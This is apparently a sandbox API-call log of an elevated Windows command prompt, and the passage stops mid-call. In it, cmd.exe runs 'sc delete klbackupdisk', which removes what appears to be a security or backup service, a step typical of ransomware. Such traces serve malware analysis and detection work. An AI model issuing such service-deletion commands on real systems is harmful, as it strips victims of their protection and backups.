[0072.812] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.812] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="p.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.812] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.812] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.812] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.812] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="d0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.812] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.813] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.813] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.813] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="i\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.813] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.813] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.813] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.813] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="s\nx64-9.4\"\n\nA\"\n") returned 1 [0072.813] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.813] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.813] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.813] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="kx64-9.4\"\n\nA\"\n") returned 1 [0072.813] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.813] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.813] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.813] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="\n64-9.4\"\n\nA\"\n") returned 1 [0072.813] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.813] GetFileType (hFile=0xb8) returned 0x3 [0072.813] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.813] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.813] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.813] GetFileType (hFile=0x120) returned 0x3 [0072.813] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.813] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete klbackupdisk\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete klbackupdisk\n", lpUsedDefaultChar=0x0) returned 24 [0072.813] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x17, lpOverlapped=0x0) returned 1 [0072.813] GetProcessHeap () returned 0x4a0000 [0072.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0072.813] GetProcessHeap () returned 0x4a0000 [0072.814] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0072.814] GetProcessHeap () returned 0x4a0000 [0072.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0072.814] GetProcessHeap () returned 0x4a0000 [0072.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0072.814] GetProcessHeap () returned 0x4a0000 [0072.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x3a) returned 0x4baa40 [0072.814] GetConsoleOutputCP () returned 0x1b5 [0072.814] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.814] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.814] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.814] GetProcessHeap () returned 0x4a0000 [0072.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0072.814] GetProcessHeap () returned 0x4a0000 [0072.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4baa90 [0072.814] GetProcessHeap () returned 0x4a0000 [0072.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc5b0 [0072.814] SetErrorMode (uMode=0x0) returned 0x1 [0072.815] SetErrorMode (uMode=0x1) returned 0x0 [0072.815] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc5c0, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0072.815] SetErrorMode (uMode=0x1) returned 0x1 [0072.815] GetProcessHeap () returned 0x4a0000 [0072.815] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc5b0, Size=0x62) returned 0x4bc5b0 [0072.815] GetProcessHeap () returned 0x4a0000 [0072.815] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc5b0) returned 0x62 [0072.815] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0072.815] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0072.815] GetProcessHeap () returned 0x4a0000 [0072.815] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0072.815] GetProcessHeap () returned 0x4a0000 [0072.815] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0072.815] GetProcessHeap () returned 0x4a0000 [0072.815] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0072.815] GetProcessHeap () returned 0x4a0000 [0072.815] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0072.815] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0072.815] GetProcessHeap () returned 0x4a0000 [0072.815] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0072.815] GetProcessHeap () returned 0x4a0000 [0072.815] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0072.815] GetProcessHeap () returned 0x4a0000 [0072.815] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0072.815] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.815] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.816] GetLastError () returned 0x2 [0072.816] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.816] GetLastError () returned 0x2 [0072.816] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.816] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0072.816] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0072.816] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.816] GetLastError () returned 0x2 [0072.816] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0072.816] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0072.817] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.817] GetProcessHeap () returned 0x4a0000 [0072.817] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0072.817] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.817] GetProcessHeap () returned 0x4a0000 [0072.817] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xa6) returned 0x4b9180 [0072.817] GetProcessHeap () returned 0x4a0000 [0072.817] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xa6 [0072.817] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete klbackupdisk") returned 1 [0072.818] GetProcessHeap () returned 0x4a0000 [0072.818] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0072.818] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0072.818] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0072.818] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0072.818] GetProcessHeap () returned 0x4a0000 [0072.818] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0072.818] GetProcessHeap () returned 0x4a0000 [0072.818] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0072.818] GetProcessHeap () returned 0x4a0000 [0072.818] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0072.818] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete klbackupdisk", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete klbackupdisk", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete klbackupdisk", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0xa80, dwThreadId=0x34c)) returned 1 [0072.821] CloseHandle (hObject=0x54) returned 1 [0072.821] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0072.821] GetProcessHeap () returned 0x4a0000 [0072.821] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0072.821] GetEnvironmentStringsW () returned 0x4c1b10* [0072.821] GetProcessHeap () returned 0x4a0000 [0072.821] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0072.821] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.821] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0072.822] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd8000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0072.822] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0072.866] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0072.866] CloseHandle (hObject=0x50) returned 1 [0072.867] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0072.867] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0072.867] GetProcessHeap () returned 0x4a0000 [0072.867] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0072.867] GetEnvironmentStringsW () returned 0x4c1b10* [0072.867] GetProcessHeap () returned 0x4a0000 [0072.867] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0072.867] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.867] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0072.867] GetProcessHeap () returned 0x4a0000 [0072.867] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0072.867] GetEnvironmentStringsW () returned 0x4c1b10* [0072.867] GetProcessHeap () returned 0x4a0000 [0072.867] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0072.867] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.867] GetProcessHeap () returned 0x4a0000 [0072.867] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0072.867] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0072.867] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0072.868] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.868] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0072.868] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.868] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0072.868] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.868] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0072.868] GetConsoleOutputCP () returned 0x1b5 [0072.868] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.868] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.868] GetProcessHeap () returned 0x4a0000 [0072.868] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0072.868] GetProcessHeap () returned 0x4a0000 [0072.868] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0072.868] GetProcessHeap () returned 0x4a0000 [0072.868] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0072.868] GetProcessHeap () returned 0x4a0000 [0072.868] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc5b0 | out: hHeap=0x4a0000) returned 1 [0072.868] GetProcessHeap () returned 0x4a0000 [0072.868] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa90 | out: hHeap=0x4a0000) returned 1 [0072.869] GetProcessHeap () returned 0x4a0000 [0072.869] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0072.869] GetProcessHeap () returned 0x4a0000 [0072.869] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0072.869] GetProcessHeap () returned 0x4a0000 [0072.869] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0072.869] GetProcessHeap () returned 0x4a0000 [0072.869] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0072.869] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0072.869] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.869] GetFileType (hFile=0x120) returned 0x3 [0072.869] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.869] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0072.869] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0072.869] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0072.869] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0072.869] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0072.869] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0072.869] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.869] GetFileType (hFile=0x120) returned 0x3 [0072.869] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.869] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0072.869] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0072.869] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.869] GetFileType (hFile=0xb8) returned 0x3 [0072.869] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.869] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.870] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0072.870] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.870] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.870] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0072.870] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.870] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.870] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0072.870] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.870] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.870] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0072.870] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.870] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.870] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0072.870] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.870] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.870] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0072.870] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.870] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.870] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, 